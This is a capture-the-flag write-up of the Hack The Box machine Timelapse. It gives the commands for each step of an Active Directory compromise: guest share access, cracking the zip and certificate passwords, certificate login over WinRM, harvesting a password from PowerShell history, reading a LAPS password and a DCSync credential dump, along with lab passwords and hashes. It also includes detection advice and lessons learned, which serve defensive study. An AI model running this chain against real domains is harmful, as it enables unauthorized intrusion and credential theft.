root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat timelapse.md
// writeups

Timelapse

26 Mar 2022 · 15 min read
Timelapse - maquina de Hack The Box

Executive summary — Timelapse is an Active Directory chain built from four chained credential-hygiene mistakes, without exploiting a single CVE: the guest account (no password) reads a share holding a WinRM certificate backup protected by two weak-password layers (zip and .pfx, both cracked with rockyou); the certificate authenticates over WinRM over HTTPS (5986) as legacyy — user.txt; legacyy's PowerShell history stores the plaintext password of the svc_deploy service account; and svc_deploy belongs to the LAPS_Readers group, which can read the local administrator password of the Domain Controller itself — root.txt and de-facto Domain Admin. The common thread: secrets reachable by whoever shouldn't be able to see them.

PlatformHack The Box
Operating systemWindows Server 2019 (Build 17763)
DifficultyEasy
StatusRetired
Target IP10.129.227.113

Attack map

[SMB/guest] \\Shares\Dev -> winrm_backup.zip
   |  two encrypted layers: zip (John -> supremelegacy) + .pfx (John -> thuglegacy)
   v
[cert legacyy] WinRM/SSL :5986 (evil-winrm -S -c -k) -> user.txt
   |
   v
[PSReadLine] ConsoleHost_history.txt -> svc_deploy : E3R$Q62^12p7PLlC%KWaxuaV
   |
   v
[LDAP] svc_deploy in LAPS_Readers -> ms-Mcs-AdmPwd of DC01
   |
   v
[ROOT] Administrator (LAPS) -> root.txt + DCSync confirms the NT hash

1. Reconnaissance

sudo nmap -p- --min-rate 3000 -T4 -Pn -oN nmap-allports.txt 10.129.227.113
sudo nmap -p53,88,135,139,389,445,464,593,636,3268,5986,9389 -sCV -Pn -oN nmap-services.txt 10.129.227.113

A TTL of 127 confirms a Windows stack. The port spread — 53/88/389/445/464/636/3268/9389 — is the unmistakable signature of a Domain Controller: DNS, Kerberos, LDAP/LDAPS, SMB, kpasswd, Global Catalog and the AD DS web service. What stands out is that the exposed WinRM port is 5986 (HTTPS) instead of the usual 5985 (HTTP), with a CN=dc01.timelapse.htb certificate in the TLS handshake — already pointing at client certificate authentication instead of username/password.

echo "10.129.227.113 timelapse.htb dc01.timelapse.htb DC01" | sudo tee -a /etc/hosts

2. Share as guest — certificate backup

A null SMB session doesn't enumerate shares on this DC, but the guest account, enabled and passwordless, does have read access — a reminder to always try both before writing SMB off:

netexec smb 10.129.227.113 -u 'guest' -p ''  --shares
Shares   READ
smbclient //10.129.227.113/Shares -U 'guest%' -c 'recurse ON; ls'
\Dev\winrm_backup.zip
\HelpDesk\LAPS.x64.msi + documentation   <- LAPS: already hints at the escalation vector

Those two files alone give away the whole box: a certificate backup that will provide the foothold, and LAPS documentation sitting right in the same share hinting at the escalation. Grabbing the backup:

smbclient //10.129.227.113/Shares -U 'guest%' -c 'cd Dev; get winrm_backup.zip'

The zip is password-protected. The first layer falls to John:

zip2john winrm_backup.zip > zip.hash
john --wordlist=rockyou.txt zip.hash
# winrm_backup.zip/legacyy_dev_auth.pfx:supremelegacy
unzip -P supremelegacy winrm_backup.zip
# extracts: legacyy_dev_auth.pfx

The .pfx (a PKCS#12 container bundling a certificate and its private key) has its own password, a second layer independent from the zip's:

pfx2john legacyy_dev_auth.pfx > pfx.hash
john --wordlist=rockyou.txt pfx.hash
# legacyy_dev_auth.pfx:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy.key -nodes -password pass:thuglegacy
openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy.crt -password pass:thuglegacy
# subject=CN=Legacyy

Why this matters. Encrypting a certificate backup with dictionary-guessable passwords (rockyou has both) gives a false sense of security: the control exists on paper, but it doesn't survive a second of offline dictionary attacking. A client certificate should be protected with a real passphrase — or better, never left on a share with guest access in the first place.

3. Certificate-based WinRM — user.txt

Port 5986 accepts client certificate authentication. evil-winrm supports it with -S (SSL) and the certificate/key pair via -c/-k:

evil-winrm -i 10.129.227.113 -S -c legacyy.crt -k legacyy.key
*Evil-WinRM* PS> whoami
timelapse\legacyy
cat C:\Users\legacyy\Desktop\user.txt
715cf180374b3e933b081442114a6f88

user.txt: 715cf180374b3e933b081442114a6f88

4. From legacyy to svc_deploy — PowerShell history

legacyy belongs to the Development group, with no notable direct privileges. The next vector is one of the first files worth checking in any Windows user shell: the PSReadLine history, which persists every line typed at the console to disk — the exact equivalent of a .bash_history, and almost never cleared:

type C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl ...

svc_deploy's password sits there in the clear: E3R$Q62^12p7PLlC%KWaxuaV. Confirmed directly against WinRM:

netexec winrm 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV'
# (Pwn3d!)

Methodology lesson: the PSReadLine history is one of the first things worth checking after landing any Windows user shell. An operator who types a service account's password directly at the console, instead of using Get-Credential or a secrets manager, leaves it persisted to disk for whoever reads that file afterwards.

Why PSReadLine's filter didn't catch this. Since version 2.0.4, the module ships with automatic filtering that drops, before ever writing to disk, any line matching patterns like password, asplaintext, token, apikey or secret. But it's a lexical filter over the raw command text, not semantic analysis: here the variable is named $p, not $password, so the pattern never matches and the whole line — -AsPlainText included — still gets written to history. And on module versions older than 2.0.4 (what a Windows Server install still ships by default unless the module is updated from the PowerShell Gallery), that filter doesn't exist at all. Relying on automatic filtering as the only safeguard is doubly fragile: it depends both on the module version and on the variable happening to be named exactly what the pattern expects.

5. From svc_deploy to root — LAPS

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' --query "(sAMAccountName=svc_deploy)" "memberOf"
CN=LAPS_Readers,OU=Groups,OU=Staff,DC=timelapse,DC=htb

LAPS (Local Administrator Password Solution) periodically rotates each machine's local administrator password and stores it in the ms-Mcs-AdmPwd attribute of the computer object in AD. That attribute has the confidentiality bit set in the schema, so a plain "read property" permission isn't enough to see it — reading it requires the CONTROL_ACCESS extended right on the attribute (what shows up in permission delegation as "All Extended Rights", or more narrowly, the LAPS read-password right). The LAPS_Readers group has that right delegated on the DC's computer object — and svc_deploy is a member. On a Domain Controller, the local administrator is the domain administrator, so reading its LAPS password is equivalent to Domain Admin:

netexec ldap 10.129.227.113 -u svc_deploy -p 'E3R$Q62^12p7PLlC%KWaxuaV' -M laps
Computer:DC01$  Password:R@r427[&7O,3+(wfXL5UAy}2
netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2'
# (Pwn3d!)
netexec winrm 10.129.227.113 -u administrator -p 'R@r427[&7O,3+(wfXL5UAy}2' -X 'type C:\Users\TRX\Desktop\root.txt'
70b7ebf5c4a59f29604dca078f45743e

root.txt: 70b7ebf5c4a59f29604dca078f45743e — note the flag isn't under C:\Users\Administrator\Desktop but under C:\Users\TRX\Desktop, a different profile on the box; it pays to sweep every profile (gci C:\Users\*\Desktop) instead of assuming the default path.

Final confirmation of full domain control with a DCSync — pulling a user's secrets by replicating Directory Replication Service traffic, something only Domain Admins (or principals holding DS-Replication-Get-Changes rights) can do:

impacket-secretsdump 'timelapse.htb/administrator:R@r427[&7O,3+(wfXL5UAy}2@10.129.227.113' -just-dc-user administrator
Administrator:500:aad3b435b51404eeaad3b435b51404ee:85a6a893073947e1a6e1c3a5ce18198c:::

6. Dead ends and notes

  • A null SMB session (-u '' -p '') doesn't enumerate shares on this DC; only explicit guest works — always try both before writing SMB off.
  • The exposed WinRM port is 5986 (HTTPS); 5985 (HTTP) isn't open, so any evil-winrm attempt without -S fails outright.
  • The ~8h clock skew against the attacker box is irrelevant to this chain: no step relies on Kerberos (certificate auth and NTLM only), so clockskew never comes into play.
  • This is a read-only attack on the directory (share, history, LAPS attribute, WinRM): no AD object is modified and no file is left behind on the target.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold\\Shares\DevShare readable by the guest account with sensitive material (CWE-284)Download of the WinRM certificate backup
Initial accesswinrm_backup.zip / legacyy_dev_auth.pfxCertificate backup protected by two layers of dictionary-guessable passwords (CWE-521)Valid client certificate → WinRM/SSL as legacyy (user.txt)
Lateral movementlegacyy's ConsoleHost_history.txtPlaintext svc_deploy credential in the PowerShell history (CWE-522)WinRM authentication as svc_deploy
Privilege escalationLAPS_Readers groupService account with read permission over the DC's ms-Mcs-AdmPwd (CWE-266)DC local administrator password → Domain Admin (root.txt)

Detection

  • SMB authentication as guest followed by file reads on a DC — event 4624 (logon type 3) with Account Name: GUEST. In a hardened environment the guest account should be disabled and that event should never be able to occur at all.
  • WinRM/5986 authentication with a client certificate from an IP that has never used that certificate before — the WinRM event log (Microsoft-Windows-WinRM/Operational) includes the certificate thumbprint used in the TLS handshake.
  • Reads of the ms-Mcs-AdmPwd attribute by a service account — event 4662 in the Directory Service log carries the attribute's GUID, filterable by the account exercising the CONTROL_ACCESS right. Almost no service account should be generating that event day to day.
  • ConsoleHost_history.txt itself is a forensic source: its modification time and most recent lines reveal what credentials an operator may have typed in a given session — useful both to an attacker and to later incident response.

Lessons learned

  • An enabled, passwordless guest account is, in practice, an anonymous user with permissions — it should be disabled, and shares should be audited assuming it can read them.
  • Encrypting a backup with a dictionary-guessable password provides the appearance of protection, not real security: a weak-password .zip or .pfx falls in seconds to John and rockyou.
  • The PSReadLine history is Windows' .bash_history: any credential typed in an interactive session gets persisted to disk. Automate credentials via Get-Credential or a secrets manager, never on the command line.
  • PSReadLine's keyword filter (since version 2.0.4) reduces the risk but doesn't eliminate it: it's a text match against variable and parameter names, not semantic analysis, so a variable named anything other than the watched patterns sails right through — keeping the module updated helps, but it's no substitute for never typing secrets at the console.
  • Membership in LAPS_Readers is as sensitive as domain admin when the managed machine is the DC itself — only Tier-0 accounts should be able to read LAPS for a domain controller.
  • An uncommon service account reading the ms-Mcs-AdmPwd attribute is a high-value detection signal (event 4662 in the Directory Service log) — almost nothing should be generating that event day to day.